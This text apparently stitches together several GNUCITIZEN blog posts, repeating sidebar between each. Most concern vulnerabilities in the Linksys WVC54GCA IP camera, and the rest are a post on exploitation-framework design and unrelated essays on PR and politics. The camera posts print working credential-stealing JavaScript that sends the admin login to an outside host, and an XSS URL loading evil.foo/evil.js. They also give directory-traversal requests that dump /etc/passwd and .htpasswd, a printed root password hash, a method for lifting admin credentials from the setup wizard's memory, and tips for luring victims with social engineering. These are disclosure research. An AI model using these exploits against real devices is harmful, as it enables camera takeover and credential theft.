// based on code from developer.apple.com
function loadXMLDoc(url) { req = false; // branch for native XMLHttpRequest object if(window.XMLHttpRequest && !(window.ActiveXObject)) { try { req = new XMLHttpRequest(); } catch(e) { req = false; } } // branch for IE/Windows ActiveX version else if(window.ActiveXObject) { try { req = new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) { try { req = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) { req = false; } } } if(req) { req.onreadystatechange = processReqChange; req.open("GET", url, true); req.send(""); }
}
// end of loadXMLDoc(url) function processReqChange() { // only if req shows "loaded" if (req.readyState == 4) { // only if "OK" if (req.status == 200) { // dirty credentials-scraping code var bits=req.responseText.split(/\"/); var gems=""; for (i=0;i<bits.length;++i) { if(bits[i]=="adm" && bits[i+1]==" value=") { gems+="login="; gems+=bits[i+2]; } if(bits[i]=="admpw" && bits[i+1]==" value=") { gems+='&password='; gems+=bits[i+2]; } } alert(gems); // this line is for demo purposes only and would be removed in a real attack c=new Image(); c.src='http://google.com/x.php?'+gems; // URL should point to data-theft script on attacker's site } }
} var url="/adm/file.cgi?next_file=pass_wd.htm";
loadXMLDoc(url);

http://192.168.1.115/adm/file.cgi?next_file=%3cscript%20src=http://evil.foo/evil.js%3e%3c/script%3e

If you capture the traffic while testing the exploit against yourself you will see the admin login and password being sent to google.com:

Attack Requirements

In order for this exploit to work, the camera admin user must be logged in when the attack occurs. This means that a bit of social engineering is required. For instance, the attacker could setup a forum to "help" users of the WVC54GCA camera by providing tips, FAQs, etc. If the attacker is serious he could use black hat SEO and ad campaigns such as Google AdWords to attract Linksys camera users to visit the site containing the malicious XSS URLs. You get the idea!

Testing Info

All Disclosure of Credentials and XSS vulnerabilities successfully tested on:

• WVC54GCA
• Firmware V1.00R22 and V1.00R24 (latest available as on 23rd April 2009)

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1
0.4 is Available Now

Unlike the previous two vulnerabilities I released, the vulnerabilities I’m releasing in this post are perhaps not so useful to break into the device as you need access to the admin account to exploit them. Nevertheless, these vulnerabilities might be useful for users who want to hack their Linksys IP cameras for modding purposes, rather than being used by an attacker aiming to crack into someone else’s camera.

Two directory traversal vulnerabilities

Today, instead of releasing just one vulnerability I’ll be releasing two! These two vulnerabilities have helped me understand more about how the WVC54GCA wireless camera internals and I’m hoping they will also work on other Linksys camera models. Please let me know if you successfully test them on other models too!

Both vulnerabilities are of type directory traversal, aka arbitrary file retrieval, and they both affect the same CGI program: /adm/file.cgi. Please note that these vulnerabilities are different to CVE-2004-2507/BID 10476 which affected /main.cgi instead.

1st directory traversal hole

It seems that the next_file parameter is not filtered enough when submitted to /adm/file.cgi, so that either of the following requests will return the content of any file whose location is known (/etc/passwd in this case):

/adm/file.cgi?next_file=%2fetc%2fpasswd

/adm/file.cgi?next_file=%2fetc/passwd

/adm/file.cgi?next_file=%2e.%2f%2e.%2f%2e.%2f%2e.%2fetc%2fpasswd

2nd directory traversal hole

In the case of the second directory traversal hole, the vulnerable parameter (this_file) is not filtered at all whatsoever. So hex-encoding special symbols is not required:

/adm/file.cgi?todo=pwnage&this_file=/etc/passwd

The following is the content of the Linux passwd file containing the encrypted root password. Remember that the WVC54GCA comes with BusyBox Linux by default which you can confirm by opening bin/busybox with any of the vulnerabilities previously discussed. I’m curious to know if the passwd file contains the same password on all cameras of the same model, or even if Linksys is also using the same password on other models:

root:9szj4G6pgOGeA:0:0:root:/root:/bin/sh

Notice that when exploiting the first vulnerability, we need to convert forward slashes to %2f which is its hex-encoding equivalent. This is because the developer (poorly) attempted to filter directory traversal sequences when data is submitted via the next_file parameter. In the third example, we also partially hex-encode ../ sequences in order to avoid being blocked by the script which results in a forbidden error.

Needless to say, if the root password is not too strong you should be able to crack it using john or you favorite password cracking tool. I loaded passwd with john for a few hours on an old laptop and nothing was found, so I’m guessing the root password is not extremely weak. If you model comes with the telnet daemon running by default, cracking that password should give you root shell access.

Unfortunately, as I mentioned in the first post of these series, the WVC54GCA camera comes with a telnet daemon included, but it’s off by default. I haven’t managed to enable the telnet daemon and get a remote root shell yet although I suspect it might be possible by modifying the bin firmware image and uploading it again.

What can we do with these vulnerabilities?

Well, I tried finding files that contain interesting information that helps you understand the camera better. The following are some examples:

• /etc/passwd : traditional-DES-format password file with no salt
• /usr/local/www/img/.htpasswd : HTTP credentials stored in cleartext
• /usr/local/www/adm/.htpasswd : contains same data as previous file
• /etc/system.conf : all camera settings stored in cleartext including admin password, wifi encryption key, etc …
• /usr/local/bin/thttpd.conf : web server config file confirming the daemon runs as root, which is the only system account present anyway
• /etc/init.d/rcS : here we see the line that starts the telnet daemon (/usr/sbin/telnetd) commented out
• /etc/def_sys.conf : camera’s default settings
• /etc/system.conf : camera’s current settings
• /var/nc.log : network connections logs
• /etc/group
• /etc/inittab
• /proc/cpuinfo : processor details
• /proc/meminfo
• /proc/version : OS details
• /proc/uptime

Finding a file upload vulnerability should allow us to overwrite the /etc/init.d/rcS file and eventually manage to start the telnet server after reboot. By overwriting the /etc/passwd file with our own we should be able to add our own root password. Unfortunately, I haven’t discovered any vulnerability that would allow me to upload files to arbirary locations. If you do discover one, please let me know. I’d love to hear the details.

Testing Info

Directory traversal vuln #1 successfully tested on:

• WVC54GCA
• Firmware V1.00R22 and V1.00R24 (latest available as on 23rd April 2009)

Directory traversal vuln #2 successfully tested on:

• WVC54GCA
• V1.00R24 (latest available as on 23rd April 2009)

Although I never tested the second traversal vulnerability on Firmware V1.00R22, I definitely suspect it will work on this previous firmware version as well.

Please note that the aforementioned vulnerabilities are different to BID 10476 which affected the /main.cgi program rather than /adm/file.cgi.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1
0.4 is Available Now

Privilege escalation via arbitrary file retrieval

The second vulnerability I’ll be releasing is an arbitrary(ish) file retrieval vulnerability. It’s not fully arbitrary because you can only retrieve the contents of files located within the same directory where the vulnerable CGI program is located. However, this is enough to allow a neat privilege escalation vector where a restricted user that only has permissions to view the video stream, can gain access to the admin account password.

The problem lies within the next_file parameter which is submitted to the main.cgi program. Although main.cgi does filter characters typically used in directory traversal sequences such as dots (.) and forward slashes (/), it seems that the developer didn’t consider that retrieving the contents of files within the current directory could create a security hole. By simply retrieving the contents of .htpasswd a restricted user which only has permissions to access the video stream can access the credentials of the admin account and also the credentials of other restricted users (if applicable).

The only restriction that needs to be bypassed, is dots (.) symbols being filtered. i.e.: the following will not work and will result in a forbidden error:

/img/main.cgi?next_file=.htpasswd

But replacing the dot (.) symbol with its hexadecimal equivalent:

/img/main.cgi?next_file=%2ehtpasswd

Will result in the contents of .htpasswd being returned. i.e.:

admin:adminpassw0rd user1:pass1 user2:pass2

Like most IP cameras, the Linksys WVC54GCA allows administrators to grant access to the video stream to selected users only (rather than anonymous users who don’t need to authenticate). In this case, the admin user can click on the Users menu and tick the Only users in database option (please see screenshot below). After this, all that is needed is to add a username/password pair for the account to grant video-viewing access to:

Well, the feature discussed above can be rendered useless by exploiting the vulnerability I have described, since it allows restricted users to retrieve the admin password.

Testing Info

Successfully tested on:

• WVC54GCA
• Firmware V1.00R22 and V1.00R24 (latest available as on 20th April 2009)

Please note that this vulnerability is different to BID 10476 which affected the /main.cgi program rather than /img/main.cgi.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1
0.4 is Available Now

The model in particular is the WVC54GCA, which I would say is one of the most affordable Wi-Fi IP cameras out there (about GBP 80 in the UK), making it a great toy to tinker with.

I found the camera to be quite good functionalities-wise, although I’ve experienced availability problems with it. It seems the camera freezes every once in a while. Well, this is true at least when you heavily customized its configuration which is what I’ve ultimately done after playing so much with it.

I’ve loved playing with embedded devices for a while, and as a security researcher I find it quite an interesting topic as many de facto security principles that are usually (attempted to be) followed when designing other types of systems are not often applied to embedded devices. This, I believe is due to lack of limitations in hardware resources, and lack of awareness on consequences of getting a miscellaneous device compromised. i.e.: who cares if my IP camera gets owned?

During the next days, I’ll be posting some vulnerabilities I’ve found. Some of them are fun and serious, while others you might find kind of boring.

Meet the target

You can learn a lot about the specs of a device by simply reading the product’s literature. However, sometimes not enough info is provided in these documents. The following are some of the specs I confirmed by interacting with the camera in various ways:

• CPU: Faraday FA526id(wb) rev 1 (v4l) according to /proc/cpuinfo
• OS: Linux version 2.4.19-pl1029 according to /proc/version plus Busybox (confirmed as the file /bin/busybox exists on the filesystem)
• HTTPD: thttpd 2.25b (extracted from banner returned on default html error pages and ‘Server:’ HTTP headers)
• Memory:30908 kB (32 MB?) according to /proc/meminfo
• Firmware Version: V1.00R22 and V1.00R24 (latest version available as on 16th April 2009)

It also comes with a telnet daemon (/usr/sbin/telnetd) but unfortunately for hackers out there, the daemon is disabled as the following line is commented out on /etc/init.d/rcS:

# ---- Start Telnet Server (debug) ---- #

#/usr/sbin/telnetd &

I have not yet managed to get a remote root shell by enabling the telnet daemon but have found some vulnerabilities which might help accomplishing this goal. I will be releasing these vulnerabilities in the next days. Please let me know if you know how to enable the telnet daemon on Linksys IP cameras! Ideally, I’d like to accomplish this without physically connecting to the camera or flashing the firmware.

Remote admin compromise by unauthenticated attackers due to wizard design error

I found this vulnerability while investigating CVE-2008-4390. I wanted to know if CVE-2008-4390 affected my camera, even though it was reported to affect a different Linksys IP camera firmware and model. The CVE entry states:

The Cisco Linksys WVC54GC wireless video camera before firmware 1.25 sends cleartext configuration data in response to a Setup Wizard remote-management command, which allows remote attackers to obtain sensitive information such as passwords by sniffing the network.

So I started trying to figure out if the WVC54GCA also discloses sensitive information when communicating with the wizard. According to the vendor, the issue has been fixed:

Solution: 2300 and 210 have encrypted data and have no such issue. To decode the data, an administrator username/password is a MUST.

At first sight, when capturing the traffic between the wizard and the cam, I couldn’t see the data traveling in human readable form. While trying to figure out how the data is sent over the network (i.e.: encoded/encrypted), I realized there was something seriously wrong with the handshake mechanism.

The following is a very generic (and possibly inaccurate) description of the handshake

1. Wizard (SetupWizard.exe) sends UDP request to 255.255.255.255:916
2. Camera responds back to 255.255.255.255 using the DCERPC protocol and presents itself with identity info such as the value of the ‘defname’ variable which looks like LKXXXXXX, where ‘X’ is a hex digit. This identity info is picked up by SetupWizard.exe. Some of this info such as MAC address, IP address and subnet mask is shown in the wizard.
3. From now on, SetupWizard.exe uses the camera’s ‘defname’ variable when talking to it, so that the camera knows what requests submitted to 255.255.255.255:916 it should respond to.

At this point the wizard “has discovered” the camera and the user can go through the setup procedure. For security reasons, the user needs to enter the admin username and password, before the setup process can start. Otherwise anyone could make changes to the camera without authenticating.

Now, here is the important bit. If you capture the network traffic while running SetupWizard.exe, you’ll notice that when the user is asked to enter the admin username and password after the camera is discovered, there are NO requests sent from the wizard to the camera in order to verify that the entered username/password combination is correct!

“How is this possible? What the heck is going on?!” I thought. I was terrified to confirm my worst fear: the wizard already “knows” the camera’s admin username and password at this point, thus there is no need to ask the camera again. Indeed, at this point – before the user enters the admin username and password that is – the camera’s credentials are already loaded into the memory of the SetupWizard.exe process. This is because the camera has previously transfered the admin credentials along with other configuration data!

In case I didn’t explain myself properly I’ll summarize the issue by saying that the camera transfers the admin username and password to the wizard before the user enters them.

The following steps demonstrate how an unauthenticated attacker can remotely obtain the camera’s admin username and password:

1. Download the setup wizard. You might need to download a different wizard if you want to test this vulnerability on a different Linksys IP camera model
2. Run SetupWizard.exe
3. Click on “Click Here to Start” / “Setup Camera” / “Next” (after accepting EULA) / “Next” (4 more times in total)
4. The discovery process is quite flaky, so if the wizard hasn’t found your camera yet, click on “Search Again” as many times as required until it works
5. You should now see your camera’s name under the “Camera List” column and also various configuration data under the “Status” column:
   
6. You now need to dump the process memory of SetupWizard.exe using your favorite tool:
   
7. Then open the memory dump file using your favorite hex editor
8. Now you can either search for “admin” and find the admin password after a few null bytes, or tell your hex editor to go to decimal position 75058 (”Address” / “Goto …” menu on XVI32). In my case the admin password would always fall within this position:
   
9. Have fun! (the most important step really)

It is somehow ironic that a free tool provided by the vendor of a product can be used as a “hacker” tool against their own product.

As far as I know, this vulnerability cannot be exploited over the Internet, since the camera only responds to wizards located in the same LAN. Never say never though, so if you find a way to exploit this vulnerability over the Internet, please contact us.

UPDATE: CPU and additional OS info added.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1
0.4 is Available Now

The article is yet another proof that we are all in big trouble. Simply put, the technology will continue to develop and the majority of people wont be able to keep up. As long as the situation remains the same, people and corporations will get exploited regardless how tight their security is. It is inevitable. At the end of the day, it is all about people, not technology.

Social engineering skills has been a major part of the hacker’s toolkit for ages and the situation is unlikely to change. The humans are still the weakest link and that is something that can only be fixed through education and by continuously rising awareness.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1
0.4 is Available Now

This post is merely a summary of my research work on how to build a better exploitation framework ala metasploit-style.

The Problem

Metasploit is great but there are three things that makes the framework sometimes inconvenient: it’s size, it’s dependency of the ruby platform and of course it’s speed. It will be great if for example we can take a single exploit (or a set of exploits) out of the framework and compile it into a standalone executable. On the advantage side, this type of solution will also allow us to ship the framework as a payload to already compromised systems and use it from there as a stepping stone for further propagation. It will also allows us to run exploits from compromised embedded devices as long as we can compile for their architecture, which is pretty cool.

Introduction

Back in the days when Metasploit was written in Perl, there were a few other frameworks trying to do similar things but in C and C++. A solution based on C or C++ is a lot more interesting as it allows us to compile standalone versions of the framework and use them as we wish. It simply makes the framework very good for embedding and also quite suitable for delivering it as a payload to the systems we would like to compromise.

Nowadays, a C and C++ solution is often doomed to failure. The reason for this is because when building a framework you can easily get into a situation where you need to solve a pretty complicated problem. Both C and C++ lack the dynamicism and the degree of expression available in languages such as perl, python and ruby and therefore, while they remain very suitable for low level stuff, they start to loose their grounds when it is needed to build something that is more abstract and high level.

Some Solutions

Keeping all of the above in mind I started putting words into practice. In the spirit of a zen monk, I started thinking which parts of the metasploit framework are most valuable to a penetration tester so that they can be branched out. As it happens, the obvious answer is: the exploits. The Auxiliary modules are great but they represent functionalities which are already available in other tools. So, the first idea was to take the exploits and payloads out and rewrite them into something that is more suitable.

I decided to see for myself if I can prototype a simple exploitation framework in C++ that all it should so is to implement several abstract interfaces for exploit development, a a class with common methods for payloads (empty of course) and of course a simple interface to run an exploit with a payload against a target. All of this was achieved in a hello world fashion exploiting a simple stack overflow on a proggie from the command line and of course without the need to circumvent any protection mechanisms in place.

Although I was pleased with the result of the prototype, I was not convinced that this is a good enough solution. Programming in C++ is fun, especially when you haven’t done it for a couple of years, but still not as practicle as I would like it to be. We can most certainly build a DSL on the top of C and C++ by using Preprocessor Directives but when you are developing an exploit you want to make the process as painless as possible and C directives are only making it worse when hunting for a bug in the exploit. Not to mention that compiling something every time you make a change is not cool at all.

Being a pythonist and knowing the python mantra inside out, I thought that it should be possible to write all of the exploits and payloads in python and convert them into C or C++ at later stage as long as I stick to using a minimal set of the language features which can be directly translated with regexes and some basic parsing. After all, python looks like an executable pseudo code. Luckily for me, such a solution already exists and it is called shedskin.

Now shedskin is a lot more than a simple python to C++ translator. Not only it can convert a python program to C++ source but it also implements all of python’s builtins and it has support for some of python’s most useful modules such as re and socket. On the top of that, it is trivial to implement additional modules to the shedskin framework in python. This is a product I will happily pay for!

Analysis

I played quite a lot with the shedskin compiler tweaking things as I go. Although the parser is pretty advanced there are some restrictions enforced on the language. All of them are nicely covered in the shedskin’s tutorial.

It was time to see if I do need the advanced python features for developing the exploits. I run through all Metasploit payloads and exploits and a pattern started to emerge. The majority of the exploits were pretty basic. They all came down to the following algorithm more or less:

1. Select an exploit
2. Pack a structure/payload that will be sent over a socket or will be dumped into a file
3. Send/Save the payload

Obviously, there is no need for python sugar to implement that.

The Design

I did quite a lot of work investigating the best approach to tackle the problem of creating a good enough exploitation framework and I came up with the following basic idea:

We start with the same basic building blocks as found in metasploit. We need abstract classes for Exploits and Shellcodes and also classes that implement them to define more functional classes such as those that needs to be implemented when writing remote exploits for example (socket stuff). We use the basic python capabilities keeping shedskin in mind. As I mentioned, shedskin is quite advanced so most of the functionalities can be implemented without even taking it into consideration at all.

That will provide the core of the framework. All of the exploits now can be written on the top of this. The exploits themselves should reuse as much as of the builtin methods as possible as that their portability will be guaranteed.

A layer above that, we write as much as python sugar as we want. We simply don’t care how we are going to write it because that part of the framework doesn’t have to be compiled.

In summary, we layer the whole thing like that:

• Layer 01. Core Exploit Development Classes implementing the most basic set of python features
• Layer 02. Exploits implementing the Core Exploit Development Classes
• Layer 03. Python sugar to glue it all together

Conclusion

So, it is possible to write a good and well-designed exploitation framework in python that allows exploits to be separated and compiled in standalone native executables. Not only that, but we do not sacrifice from the dynamicism of the python language as while the core will be written in basic python, the rest will be as dynamic as we want. Imho, this is all possible due to python’s mantra that there should be one– and preferably only one –obvious way to do it. It just makes it easier to write briliant tools such as shedskin.

I am very interested to hear your opinion and I am even more interested to get the opinion of the Metasploit team as they have a lot more experience in coding exploitation frameworks than me.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1
0.4 is Available Now

There is no merit in discussing how this has been done and for what purposes but this incident is yet another proof that the attack landscape is rapidly changing and moving towards web enabled infrastructures and the client-side. Soon or later almost every website will be equipped with social capabilities (google’s own opensocial and friendconnect platforms) and than simple persistent XSS attacks will turn into quite nasty problems.

Time will tell!

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1
0.4 is Available Now

Lately I’ve been dropping a lot bash scripts on public forums and of course on work related projects. Many people came back to me asking why I chose bash. Python or perl would have been better! While I agree that both python and perl are a lot more expressive, I disagree that tools in general should be written just to accommodate the needs of a particular framework. Tools are tools and they have their lifetime just like everything else. So should we bother?

Recently I had to communicate with a MSSQL server on a pentesting job. For that purpose I’ve downloaded sqsh. Unfortunately the tool failed with a linking error. So I decided to go and download the sources and compile. I did that but the build failed because my environment was lacking certain unusual environment variables the tool needed to build successfully. Alright, running out of time, I decided to check whether there are other tools for SQL server. I found dbishell which is a tool written in perl. Run the tool for Sybase backend but it complained that I am missing libraries. So I downloaded the dbi sybase perl libraries and installed them. I run the tool again but it failed with an error. It couldn’t display the error because I was lacking another perl library.

Ok, that was ridiculous and I desperately needed a solution. So I came up with something I do not normally do. I checked PHP’s sybase integration online and I found that it is relatively straightforward to communicate with MSSQL backends from PHP scripts. I wrote a simple script to bruteforce the login with several passwords I had at hand. Once I found the login, lucky me, I wrote another script, again in PHP, just to dump various information from the database such as other database users and their hashes. Lucky me!

The reason I am telling you this story is because I have an important message convey here: Tools are just Tools! If metasploit cannot exploit the vulnerability perhaps you can create something yourself. If nessus fails to detect a problem, perhaps there is another approach you should use to handle the situation. We often start a new framework or tool and suddenly decide that it should handle all situations. Well that is virtually impossible! The situation always change.

So, don’t stick to a single tool just because it works 80% of the time. And don’t waste time trying to make the tool work in the rest 20%. It is pointless, especially when you are dealing with frameworks. There are a lot more elegant solutions out there you can employ to solve your particular problem. These solutions may not be elegant and perhaps they are written in something as unconventional as brainfuck, but they are solutions nevertheless.

Remember, tools solve problems! If a tool cannot solve the problem it is no longer a tool. It is a useless blob!

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1
0.4 is Available Now

Anyway, now you have a few more scripts at your disposal. The most notable changes are the ability to discover service versions via extract-services, the ability to discover and generate URLs from services which offer HTTP (courtesy of generate-url-batch, expand-url-credentials and expand-url-dirs) and the ability to grab screenshots of all web servers via scan-browsers.

Personally, I find the scan-browsers script extremely useful. Let’s say that you encounter a bunch of web servers but you don’t know what they are for. You can fire the browser and start executing URLs one after another but that will take time and you can easily get confused. Instead of doing that you can do the following:

$ generate-url-batch | scan-browsers

This command will iterate over each discovered HTTP server and take a screenshot of the front page. The script can be safely executed even in environments which do not have the X server installed. In fact, you do not need it at all, because the script relays on a virtual framebuffer server.

After the command completes, you will have your current working directory populated with the screen grabs. Now you can use your default picture viewer to see all web servers quite rapidly. This script is also handy in pentests when you need to take evidence of particular vulnerable web servers/applications.

Although Jeriko is already useful, I am planning to totally redesign the platform. Future versions will have more granular control over the pentesting process and the ability to automate large chunks of boring activities.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1
0.4 is Available Now

We often laugh when a new buzzword makes its rounds in the media but the matter of fact is that buzzwords are important. In essence, buzzwords are just terminology which happens to be used extensively by the media. I find it funny to follow rants of people who are obviously against buzzwords but they make use of buzzwords themselves. If you are against them, just don’t use them. I am curious to see how you are going to find a common language with the rest of the world.

Here are a few examples of security buzzwords which are considered an everyday terminology nowadays:

• Null Pointer Dereference
• Cross-site Scripting
• Rebinding Attacks
• Botnets
• Storm Worm
• Virtualized Rootkits
• there are tones more…

They are buzzwords because at some point they were virtually all over the Web. Today’s buzzwords is Conficker. If you find something new and intriguing it most certainly will become a buzzword. Is that really that bad?

Q&A with the Public

I have a question to the public. Dear Reader, what do you call a script injection exploit which happens withing the boundaries of the browser’s chrome?

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1
0.4 is Available Now

The beauty award this year goes to the International Federation of Organic Agriculture Movements (IFOAM), followed by the European Bank of Reconstruction and Development and Unicef. The lowest reputation scores, however, were received by International Olympic Committee and NATO. Not surprising at all ! You should not expect that military and sport organizations would have been ranked higher than that, especially when their image is closely related to the general image of the services they offer and the image the places where their headquartered are based. Being accountable is also a tough task for most corporations as they fail to deploy effective policies and active management systems.

The Contest: According to the latest survey of One World Trust (a British Think Tank), the IFOAM, along with 29 other powerful organizations, have been assessed in terms of their accountability to stakeholders and wider public. The scope of the research was based on the assessment of four major criteria such as transparency, participation with outsiders, evaluation and complains handling. Turns out that none of the companies actually managed to score higher than 70 percent accountability which is very low and insufficient result. The official report also states:

A score of 70 percent indicates that an organisation has policies in place that meet only some good practice principles and the basic management systems to support their implementation. This is the floor, not the ceiling, of accountability capabilities. If global organisations are to be part of the solution to global challenges, there needs to be a step change in their approaches to accountability. They need to start implementing the more challenging accountability reforms which truly empower external stakeholders to hold an organisation to account. Organisations must also take the necessary steps to embed accountability in their culture and ensure it is being translated into practice.

The other interesting conclusion that has been made is that all of the evaluated companies failed to show good scores (more than 50 percent) in their transparency policies and complaint handling procedures. It is funny that Transparency International (a global organization that tries to fight corruption) takes one of the lowest positions in this chart. Why is this so important? Well, from a Black PR perspective, these are pretty severe vulnerabilities. If an attacker manage to hack into the corporate complaint tracking software and steals all of the important data, he can easily turn that into a massive negative campaign. The affected organization will be not only caught into a very awkward situation, but it will be unable to respond properly to the increasing flow of stakeholders complaints. This also leads to intense media attention and general public dissatisfaction.

One more thing – I did a little research on my own and I found out that the Google Page Ranks of the less accountable organizations is way higher than the the Page Rank of the organizations on the top of the list. However, if you type their name and the word reputation into the search box, you will find that the first couple of pages are filled with negative publications and comments . I guess popularity is not always proportionally related to the general stakeholders’ respect.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

The Upcoming 0.5
Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1

I don’t know about you but today I have started writing my New Year’s Resolution List. One of the things I am eager to do next year is to learn how to surf. It’s cool, risky and very challenging. What I like most about it is the sense of uncertainty and the way you need to survive with a minimum set of resources.

Surfin is like crisis management, don’t you think? If you actually compare some of the basic tutorials in both disciplines, you will probably find a lots of similarities. So, once you master the ability to stay upright on the board, you can easily gain a confidence for dealing with some of the most severe crisis in the corporate world.

How to Start

When a crisis occurs, the first thing to consider is finding the balance point. Use your company’s strengths and all those positive qualities that cannot be doubted by the others. This will help you to balance out all the negative publications and unfair accusations. For example, if your organization is being socially responsible and undertakes many charitable events, this actually can help to save your stakeholders’ trust and turn the crisis into unexpected corporate profit.

The second crucial habit that must be developed is the ability to respond as quickly as possible to the changing environment. The speed is absolutely everything for both surfing and crisis management. It gives you not only a competitive edge, but also the power to predict every negative outcomes. At the same time, do not forget to keep it low once you get the situation back in control. In almost every zoology book it is stated that the most dangerous moments for the target is right after its escape form the predator. So if you keep looking at your feet, you will definitely fall down again. Instead, you should “cover the back of your head” and protect all your vital assets from further damages. Stay “under the water” as long as you can, but never lose the honesty in your conversations.

Safety should always be in the back of your mind, which is a reason why you should never be surfing alone. You never know what might go wrong even on the smallest of waves – its good to have someone who can help you out if you get into trouble.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

The Upcoming 0.5
Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1

As it turns out, the free public mind is one of the greatest threats to many corporations and political regimes as it could easily destroy their long-term goals, ideologies and operations. Chomsky also says that the idea of democracy gives an enormous, anarchic power to the regular people, which could be quite harmful to the society in general. Actually, propaganda is one of the Chomsky’s favorite topics as he wrote many books about it – Media Control: The Spectacular Achievements of Propaganda, Manufacturing Consent: The Political Economy of the Mass Media and Propaganda and The Public Mind: Conversations with Noam Chomsky. Great reads for those who are interested.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

The Upcoming 0.5
Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1

It is official! Hillary Clinton is finally appointed as the new Secretary of State. Congrats!!!! Let me tell you, this lady is everything, but a loser and will do everything just to get to the power of the state. It seems like she is absolutely capable of taking every political position you can think about of – a first lady, a senator, a president wanna-be, a vice president and if all this fail why not a head of international affairs. There is nothing wrong with this, except that the recent political history is entirely dominated by families like the Bushes and the Clintons. Looks like once you taste the power of the White House, it is not easy to give it up. I cannot help but wonder, where is the real change that we are awaiting for so long?

Funny enough, just few weeks ago both Hillary Clinton and Barack Obama said that they want to improve America’s standing in the world. The Democart’s victory was easily labeled by different media outlets as “historic” and has put hopes for a brighter future not only in US, but also in the whole world itself. Barack Obama is not just the first black president; he is a symbol of new political standards, a chance of economic survival and a representative of new class of world leaders. For a first time in many years (maybe after Nelson Mandela’s jail release), people all over the world were united in something bigger than their own social troubles. They were proud of the choice they made and were actually interested in following the news, counting the votes and somehow been personally involved in the whole competition.

What happened?

Let me take you back to the time when Hillary Clinton tried to “nominate” herself as a potential candidate for vice-presidency. Every rational political analyst at that time fiercely criticized the opportunity of pairing the “two former rivals” into the same election list. Moreover, it was said to be an absolutely wrong move and a second chance for Bill Clinton to overshadow the upcoming cabinet. Hillary was also seen as an obstacle that could put many prospective voters off the Obama’s political platform. Not to mention about the numerous dirty tricks that both candidates used to play to each other. Actually the fight between them was even more bitter and more aggressive than the one with the Republicans.

Today, after the election, the partnership between Obama and Clinton has been suddenly seen as logical conclusion of a long, exhausting race. However there are still a couple of issues that must be considered. Hillary is not the type of a woman that will be easily controlled. No matter how suitable or experienced she is for being a Secretary of State, she also has a wide network of business/political connections which could put her into a great dominance over the rest of the crew. This means that her political leverage will be getting stronger and stronger each day, which kind of makes this team ineffective at its very beginning.

Bottom Line:

One of the good things about Democracy is the idea of free choice. The American people were actually unable to vote about the alliance between Hillary and Obama (as it would happen if she was officially named his running mate). Now they are forced to accept it. All this raises the question if we ever had the opportunity to choose between different democratic alternatives or everything was already set up as part of a nasty, political scenario. No matter how good it sounds in theory, the change has been already made, unfortunately not by us.

Definitely not a good sign for the American reputation!

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

The Upcoming 0.5
Was Huxley right?
